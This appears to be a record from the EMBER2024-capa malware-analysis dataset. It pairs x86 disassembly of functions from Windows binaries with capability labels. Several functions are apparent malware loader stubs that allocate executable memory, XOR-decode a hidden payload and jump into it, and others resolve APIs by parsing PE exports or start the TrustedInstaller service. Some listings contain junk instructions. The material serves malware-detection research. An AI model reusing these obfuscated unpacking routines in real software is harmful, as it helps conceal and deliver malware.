joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100dde7c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100ddec6
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100dde6d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100dde7c
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104e3b1f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100ddecd
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100c4d43
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100ddf6c
add edi, 4
add eax, 2
dec ecx
jne 0x100ddeb2
call 0x100ddf19
loope 0x100ddf0f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100ddf69
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100ddf7a
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100ddf2d
cmp eax, ecx
ja 0x100ddf2d
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100ddfb7
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100ddfad
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100c5222
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100f9ceb
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.100f9d6a
jae 0x100f9cf7
xor ecx, ecx
call fcn.100f9d6a
jae 0x100f9d21
xor eax, eax
call fcn.100f9d6a
jae 0x100f9d32
mov al, 0x10
call fcn.100f9d6a
adc al, al
jae 0x100f9d13
jne 0x100f9d5f
stosb byte es:[edi], al
jmp 0x100f9cf8
call fcn.100f9d76
dec ecx
loop 0x100f9d3e
mov eax, ebp
call fcn.100f9d74
jmp 0x100f9d60
lodsb al, byte [esi]
shr eax, 1
je 0x100f9d86
adc ecx, 2
mov ebp, eax
jmp 0x100f9d60
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.100f9d74
cmp eax, 0x7d00
jae 0x100f9d5e
cmp eax, 0x500
jae 0x100f9d5f
cmp eax, 0x7f
ja 0x100f9d60
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x100f9cf8
pop ebp
ret 8
Function at 0x42de46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x42de55
pop dword [ebp - 0x4c]
mov eax, 0xefe4d4f0
sub eax, 0xefa1f69b
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x50624
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x8618b80f
add ecx, 0x79e791c0
xor edx, edx
add edx, eax
mov esi, 0x6a70ab1b
add esi, 0x95d7d2e5
add esi, dword [ebp - 0x4c]
mov ebx, 0x90a7ec56
xor dword [ebp - 0x24], edi
mov edi, dword [esi]
xor dword [ebp - 0x34], 0xdebf5648
xor edi, ebx
sub dword [ebp - 0x18], 0x45df09d6
mov dword [edx], edi
sub dword [ebp - 0x24], 0xbc9eb6c3
add edx, 0x643f4a76
sub edx, 0x643f4a72
add esi, 0xf779a7f0
sub esi, 0xf779a7ec
loop 0x42deab
add eax, 0x11a0f
mov ebx, eax
add eax, 0x9b9388e6
add eax, 0x646c771f
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x1002ed10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
and esi, 0xfffffffc
je 0x1002edcb
lea eax, [esi - 1]
mov edi, eax
shr edi, 2
add edi, 1
mov ecx, edi
and ecx, 3
cmp eax, 0xc
jae 0x1002ed40
xor eax, eax
xor ebx, ebx
jmp 0x1002ed8b
and edi, 0xfffffffc
neg edi
xor eax, eax
xor ebx, ebx
nop dword [eax]
rol eax, 5
xor eax, dword [edx + ebx]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 4]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 8]
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, dword [edx + ebx + 0xc]
imul eax, eax, 0x9e3779b9
add ebx, 0x10
add edi, 4
jne 0x1002ed50
test ecx, ecx
je 0x1002eda9
add ebx, edx
shl ecx, 2
xor edi, edi
rol eax, 5
xor eax, dword [ebx + edi]
imul eax, eax, 0x9e3779b9
add edi, 4
cmp ecx, edi
jne 0x1002ed96
mov edi, dword [ebp + 0xc]
cmp esi, edi
jae 0x1002edc6
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
add esi, 1
cmp edi, esi
jne 0x1002edb0
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x1002eda9

Function at 0x1002f5e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1002f5f0
pop dword [ebp - 0x3c]
mov eax, 0xdf01775a
add eax, 0x31017e96
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x33a32
push 0
mov eax, 0x5d0760c8
sub eax, 0x4cffb220
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x57d79691
add ecx, 0xa828a31b
mov esi, eax
mov edi, 0x5a557b39
add edi, 0xb5b2e2c7
add edi, dword [ebp - 0x3c]
mov edx, 0x94b127bb
sub dword [ebp - 0x2c], ecx
mov ebx, dword [edi]
mov dword [ebp - 0x1c], 0x8c8b19c8
xor ebx, edx
mov dword [esi], ebx
xor dword [ebp - 0x14], 0x1ea6d8f1
add esi, 0x936794ee
add esi, 0x6c986b16
add edi, 4
loop 0x1002f649
add eax, 0xd983
xor ebx, ebx
add ebx, eax
add eax, 0xeebb5e45
sub eax, 0xeebb5e40
mov ecx, sym.mozglue.dll_Ordinal_0
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x403508
Capabilities:
Terminate process

Disassembly:
jmp 0x454da9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x454dba
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405763
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403643
Capabilities:
Query environment variable

Disassembly:
jmp 0x49e221
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49e232
pop esi
ret
push ebx
push edi
push esi
call fcn.0049e108
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403ebd
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49e25a
push ebx
push esi
push edi
call fcn.00405560
add esp, 0xc
push 0
call fcn.0040607d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40561e
Capabilities:
Parse pe header

Disassembly:
jmp 0x444072
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4440b1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4440b1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4440b1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4440b1
cmp dword [ecx + 0x74], 0xe
jbe 0x4440b1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4976f1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401d48
mov eax, dword [0x4d4018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405c9a
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x497733
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x49788f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405de9
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4d7920]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004031b1
mov ecx, dword [esi*4 + 0x4d7920]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x497888
cmp eax, dword [edi + ecx + 0x24]
jne 0x497888
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x497888
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004031b1
add esp, 0x14
test edx, edx
jl 0x497888
jg 0x4977fe
test eax, eax
jb 0x497888
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x497888
jl 0x497818
cmp dword [ebp - 0x1008], eax
ja 0x497888
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x497836
test ebx, ebx
je 0x49786f
cmp ecx, edi
jae 0x49786f
mov al, byte [ecx]
cmp al, 0xd
jne 0x497850
lea eax, [edi - 1]
cmp ecx, eax
jae 0x49785c
cmp byte [ecx + 1], 0xa
jne 0x49785c
inc ecx
jmp 0x49785c
movzx eax, al
movsx eax, byte [eax + 0x4d4348]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x497836
cmp edx, ebx
jne 0x497836
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x49788d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402fa4
leave
ret
Function at 0x497fce
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4d7920]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49800e
cmp byte [ebx], 0xa
jne 0x49800e
or byte [eax + edi + 0x28], 4
jmp 0x498013
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x498111
mov al, byte [edx]
cmp al, 0x1a
je 0x4980f3
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x498042
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x498067
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x498071
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x498024
jmp 0x498111
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4980ee
cmp dword [ebp - 0xc], 0
je 0x4980ee
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4d7920]
test byte [eax + edi + 0x28], 0x48
je 0x4980c8
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4980b3
mov byte [esi], dl
jmp 0x4980c4
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4d7920]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x498111
cmp byte [ebp - 1], 0xa
jne 0x4980d7
cmp esi, ebx
jne 0x4980d7
mov byte [esi], 0xa
jmp 0x498110
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004018f7
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x498111
mov byte [esi], 0xd
jmp 0x498110
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4d7920]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49810d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x498111
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x49816d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4d7920]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4981b0
cmp word [esi], dx
jne 0x4981b0
or byte [edi + eax + 0x28], 4
jmp 0x4981b5
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x498308
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4982e8
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4981f7
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x49822d
cmp eax, edx
jae 0x498239
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4981cf
jmp 0x498308
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4982e4
cmp dword [ebp - 0x14], 0
je 0x4982e4
mov eax, dword [ebx*4 + 0x4d7920]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4982bc
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x498285
mov word [esi], cx
jmp 0x4982b8
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4d7920]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4d7920]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4d7920]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x498308
pop ebx
cmp word [ebp - 4], bx
jne 0x4982cd
cmp esi, dword [ebp + 0xc]
jne 0x4982cd
mov word [esi], bx
jmp 0x498305
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004018f7
add esp, 0x10
cmp word [ebp - 4], bx
je 0x498308
push 0xd
jmp 0x498301
mov ecx, dword [ebx*4 + 0x4d7920]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4982ff
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x498308
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x49c7c0
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d4018]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49c80b
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0049cc82
test al, al
jne 0x49c805
sub edx, 2
cmp edx, edi
jne 0x49c7eb
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x49c82d
lea eax, [edi + 2]
cmp edx, eax
je 0x49c82d
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0049c3b9
add esp, 0x10
jmp 0x49c927
push esi
lea ecx, [ebp - 0x255]
call fcn.0049cc82
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49c870
push dword [ebp - 0x25c]
jmp 0x49c81d
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x49c8ad
cmp word [ebp - 0x226], 0
je 0x49c8ce
cmp word [ebp - 0x226], ax
jne 0x49c8ad
cmp word [ebp - 0x224], 0
je 0x49c8ce
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0049c3b9
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x49c91a
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x49c887
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x49c902
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x49c927
push 0x49bda1
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004053bc
add esp, 0x10
jmp 0x49c8f7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402fa4
leave
ret
Function at 0x29a0230b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x29a0231a
pop dword [ebp - 0x14]
mov eax, 0x2540a329
add eax, 0x45f7ff1
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xa94c793e
add dword [ebp - 0x24], 0xa505cc0d
mov dword [ebp - 0x20], 0x451b95b
add dword [ebp - 0x20], 0x2de192ea
mov dword [ebp - 0x1c], 0x8fe05c51
add dword [ebp - 0x1c], 0xbc6be7dd
mov dword [ebp - 0x18], 0xa92d0bd
add dword [ebp - 0x18], 0xf56d2f43
lea eax, [ebp - 0x24]
push eax
mov eax, 0x787ea38d
sub eax, 0x4edd6301
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbad9bf9e
add dword [ebp - 0x24], 0xb998a9b8
mov dword [ebp - 0x20], 0xc9604c40
add dword [ebp - 0x20], 0x780c1535
mov dword [ebp - 0x1c], 0x40a2c70b
add dword [ebp - 0x1c], 0x22cca561
mov dword [ebp - 0x18], 0xd86d08c6
add dword [ebp - 0x18], 0x2792f73a
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x383f6
push 0
call eax
mov ecx, 0xf683c3d1
sub ecx, 0xf683841a
xor edi, edi
add edi, eax
mov ebx, 0x11520b16
add ebx, 0x185024ea
add ebx, dword [ebp - 0x14]
mov esi, 0x56684d8b
add esi, 0x44a7aebf
add dword [ebp - 8], edx
mov edx, dword [ebx]
add dword [ebp - 4], 0x1e0d61dc
xor edx, esi
mov dword [edi], edx
mov dword [ebp - 0x10], 0x79072a40
add edi, 0xc7708fd2
sub edi, 0xc7708fce
add ebx, 0x8e27d8ce
add ebx, 0x71d82736
loop 0x29a02439
add eax, 0xf1af
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x29a00000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1351c65
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x1382008]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
xor ebx, ebx
push esi
push edi
push 1
mov edi, edx
mov dword [esp + 0x28], ebx
push ebx
push ebx
mov dword [esp + 0x2c], ebx
mov dword [edi], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x1f], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test eax, eax
je 0x1351d86
push 0x14
push str.TrustedInstaller
push eax
mov dword [esp + 0x30], eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x1351d86
mov dword [esp + 0x20], esi
jmp 0x1351d5e
cmp dword [edi + 4], 1
jne 0x1351cfd
cmp byte [esp + 0x13], bl
jne 0x1351d78
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x1351d86
mov byte [esp + 0x13], 1
jmp 0x1351d5e
cmp dword [edi + 4], 3
je 0x1351d0d
cmp dword [edi + 4], 2
jne 0x1351d91
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [esp + 0x14]
or ecx, dword [esp + 0x18]
jne 0x1351d3a
push ebx
mov dword [esp + 0x18], eax
mov eax, dword [edi + 0x14]
push 0xfa
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SleepEx]
jmp 0x1351d5e
mov ecx, dword [esp + 0x1c]
cmp dword [edi + 0x14], ecx
ja 0x1351d56
sub eax, dword [esp + 0x14]
sbb edx, dword [esp + 0x18]
cmp edx, ebx
ja 0x1351d7f
jb 0x1351d56
cmp eax, dword [edi + 0x18]
ja 0x1351d7f
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
lea eax, [esp + 0x28]
push eax
push 0x24
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1351cd5
jmp 0x1351d91
mov ebx, 0x80004005
jmp 0x1351d91
mov ebx, 0x800705b4
jmp 0x1351d91
xor edx, edx
xor ecx, ecx
call fcn.0135114b
mov ebx, eax
mov eax, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x1351da2
push eax
call esi
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1351dad
push eax
call esi
mov ecx, dword [esp + 0x2c]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0135da4f
mov esp, ebp
pop ebp
ret
Function at 0x1353497
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1382008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push ecx
push eax
sub esp, 0x14
call fcn.0135118d
mov esi, eax
add esp, 0x1c
test esi, esi
js 0x1353597
mov ecx, edi
xor esi, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x13534df
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edi
push ecx
push ecx
mov ecx, dword [ebp - 8]
mov edi, 0x137cc6c
mov edx, edi
call fcn.013511b5
mov esi, eax
add esp, 0x10
test esi, esi
js 0x1353597
cmp byte [ebp + 0x10], 0
je 0x1353546
push 2
push edi
push 1
xor edi, edi
push edi
push 0x137cdb8
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test esi, esi
jle 0x1353542
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x1353597
jmp 0x1353548
xor edi, edi
push ecx
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
sub esp, 0x14
mov edx, str.command
call fcn.0135118d
mov esi, eax
add esp, 0x1c
test esi, esi
js 0x1353597
mov ecx, ebx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x135356b
sub ecx, esi
mov edx, 0x137cc6c
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push ebx
push ecx
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.013511b5
add esp, 0x10
mov esi, eax
cmp dword [ebp - 0x10], 0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x13535ad
push dword [ebp - 0x10]
call edi
xor eax, eax
